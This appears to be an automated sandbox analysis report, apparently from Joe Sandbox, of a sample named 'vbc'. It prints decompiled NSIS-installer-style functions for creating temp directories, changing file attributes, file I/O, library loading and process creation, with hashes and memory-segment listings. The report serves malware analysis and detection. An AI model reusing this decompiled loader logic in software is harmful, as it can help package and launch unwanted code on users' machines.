API String ID: 2962429428-4017390910
Opcode ID: 52edf64d19f6e486756a6566919607a0afda347394bdeaae2c0f5391c2589c01
Instruction ID: 4491f7c80fa00ae2087dec4a459748e9e372b7f9a3145cafecdefc003a92e639
Opcode Fuzzy Hash: 52edf64d19f6e486756a6566919607a0afda347394bdeaae2c0f5391c2589c01
Instruction Fuzzy Hash: F3E0863244471896D1347F7DAE4D9853B195F413327204326F178F20F0C7389AA74A99

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405FE8(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405F6A(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405C1C( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405C39(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405B9F( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040666E(0x7b4000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405FE8: CharNextW.USER32(?), ref: 00405FF6
Part of subcall function 00405FE8: CharNextW.USER32(00000000), ref: 00405FFB
Part of subcall function 00405FE8: CharNextW.USER32(00000000), ref: 00406013

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405B9F: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BE2

SetCurrentDirectoryW.KERNELBASE(?,007B4000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: f9cb4e2508e2448aa58c0f22a173479fd38d1f56d80015943564eb9aeda41760
Instruction ID: 957f66bc23545469dbc724fd3d157a479205f5e7ec4e330cdfccc87aa14dd729
Opcode Fuzzy Hash: f9cb4e2508e2448aa58c0f22a173479fd38d1f56d80015943564eb9aeda41760
Instruction Fuzzy Hash: 3111E231408115EBCF217FA5CD4099E36A0EF15369B28493BFA01B22F1DA3E49829B5E

Uniqueness

Uniqueness Score: -1.00%

Function 00406045 Relevance: 3.0, APIs: 2, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00406045(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040666E(0x7a4790, _a4);
				_t21 = E00405FE8(0x7a4790);
				if(_t21 != 0) {
					E004068F5(_t21);
					if(( *0x7a8ab8 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x7a4790 >> 1;
						while(1) {
							_t11 = lstrlenW(0x7a4790);
							_push(0x7a4790);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E004069A4();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405F89(0x7a4790);
								continue;
							} else {
								goto L1;
							}
						}
						E00405F3D();
						_t16 = GetFileAttributesW(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00406051
0x0040605c
0x00406060
0x00406067
0x00406073
0x00406083
0x00406085
0x0040609d
0x0040609e
0x004060a5
0x004060a6
0x00000000
0x00000000
0x00406089
0x00406090
0x00406098
0x00000000
0x00000000
0x00000000
0x00000000
0x00406090
0x004060a8
0x004060ae
0x00000000
0x004060bc
0x00406075
0x0040607b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040607b
0x00406062
0x00000000

APIs

Part of subcall function 0040666E: lstrcpynW.KERNEL32(?,?,00000400,004037B6,007A7AA0,NSIS Error), ref: 0040667B

Part of subcall function 00405FE8: CharNextW.USER32(?), ref: 00405FF6
Part of subcall function 00405FE8: CharNextW.USER32(00000000), ref: 00405FFB
Part of subcall function 00405FE8: CharNextW.USER32(00000000), ref: 00406013

lstrlenW.KERNEL32(007A4790,00000000,007A4790,007A4790,7556D4C4,?,755513E0,00405D9A,?,7556D4C4,755513E0,00000000), ref: 0040609E
GetFileAttributesW.KERNELBASE(007A4790,007A4790,007A4790,007A4790,007A4790,007A4790,00000000,007A4790,007A4790,7556D4C4,?,755513E0,00405D9A,?,7556D4C4,755513E0), ref: 004060AE

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID:
API String ID: 3248276644-0
Opcode ID: fa3c9235a4b418ee68dfdff8e4277a43b5875b963336551736dc5840a4575c34
Instruction ID: 38ed1c6f7611cbdad0e8a1dc3f16fb44af04154f1bcb09577380b12bcb23f66f
Opcode Fuzzy Hash: fa3c9235a4b418ee68dfdff8e4277a43b5875b963336551736dc5840a4575c34
Instruction Fuzzy Hash: 31F0282A148A5219D622B33A0D05ABF05458EC2354B0B063FFC53B12D1DF7C897385BF

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x7a8ad0;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x7a7a8c =  *0x7a7a8c + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x7a7a8c, 0x7530,  *0x7a7a74), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: aa6623dc5ba143c6751f89f60c6741bc3c59239a488c9da53ae18f0a51eeece7
Instruction ID: 0d0e525a89db022a3713d7d40a62d3a92fa7a1992dda9c0477917c3d4d329065
Opcode Fuzzy Hash: aa6623dc5ba143c6751f89f60c6741bc3c59239a488c9da53ae18f0a51eeece7
Instruction Fuzzy Hash: 5901F432624220ABE7094B389D05B2A3698E751315F10C67FF851F79F1EA78CC02DB4C

Uniqueness

Uniqueness Score: -1.00%

Function 00405C51 Relevance: 3.0, APIs: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C51(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x7a4f90->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x7a4f90,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405c5a
0x00405c7a
0x00405c82
0x00405c87
0x00000000
0x00405c8d
0x00405c91

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F90,00000000), ref: 00405C7A
CloseHandle.KERNEL32(?), ref: 00405C87

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: a96f74c6d97d8fddc601bdb2e7485f3ed7604f934fc57424aef617628e035306
Instruction ID: 1fa2a79eb519949bf7d30246b9e4481379e3d274eb9e55713eae969c2627164f
Opcode Fuzzy Hash: a96f74c6d97d8fddc601bdb2e7485f3ed7604f934fc57424aef617628e035306
Instruction Fuzzy Hash: 6AE0B6F4A00209BFEB00DFA4EE09F7B7AACEB44604F408525BD54F2191D7B9A8148A78

Uniqueness

Uniqueness Score: -1.00%

Function 00406A3B Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A3B(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a410);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
				}
				_t5 = E004069CB(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406a43
0x00406a46
0x00406a4d
0x00406a55
0x00406a61
0x00000000
0x00406a68
0x00406a58
0x00406a5f
0x00000000
0x00406a70
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403756,0000000B), ref: 00406A4D
GetProcAddress.KERNEL32(00000000,?), ref: 00406A68

Part of subcall function 004069CB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069E2
Part of subcall function 004069CB: wsprintfW.USER32 ref: 00406A1D
Part of subcall function 004069CB: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A31

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction ID: 8bc6c373ae4a51b79335f269ef4a09a4b84a1385f2c3991dd3566e210a560b2e
Opcode Fuzzy Hash: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction Fuzzy Hash: 56E0867660421066D610A6755D48D3773B89BC6710306843EF556F2040DB38DC359A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040615E Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040615E(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00406162
0x0040616f
0x00406184
0x0040618a

APIs

GetFileAttributesW.KERNELBASE(00000003,00403113,007B6800,80000000,00000003), ref: 00406162
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406184

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Uniqueness

Uniqueness Score: -1.00%

Function 00406139 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406139(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x0040613e
0x00406144
0x00406149
0x00406152
0x00406152
0x0040615b

APIs

GetFileAttributesW.KERNELBASE(?,?,00405D3E,?,?,00000000,00405F14,?,?,?,?), ref: 0040613E
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00406152

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 4d59290e3aa44cd58c99826dd52d8cee581d87a9a88888807f370448835cb7c6
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: C2D0C972504130ABC2502728AE0889ABB55EB642717014A35F9A5A62B0CB304C628A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405C1C Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C1C(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405c22
0x00405c2a
0x00000000
0x00405c30
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403639,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 00405C22
GetLastError.KERNEL32 ref: 00405C30

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 9b4f5430b3bbe22f75525a6a8288bb62ac5ef9e6fdb3d88c50eeb6a92616e2bf
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: 1EC04C71218609AEE7705B209F0DB177A949B50741F11443A6686F40A0DA788455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 00406210 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406210(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00406214
0x00406224
0x0040622c
0x00000000
0x00406233
0x00000000
0x00406235

APIs

WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 00406224

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: f08cceda346ec9350f11c22fcf513fe3bc01c5f1c17db0892cf19a12a1b56e8c
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: 95E08C3220026AABCF10AE698C00AEB3B6CFB05360F01447AFE56E7040D334E83087A5

Uniqueness

Uniqueness Score: -1.00%

Function 004061E1 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004061E1(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004061e5
0x004061f5
0x004061fd
0x00000000
0x00406204
0x00000000
0x00406206

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 004061F5

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
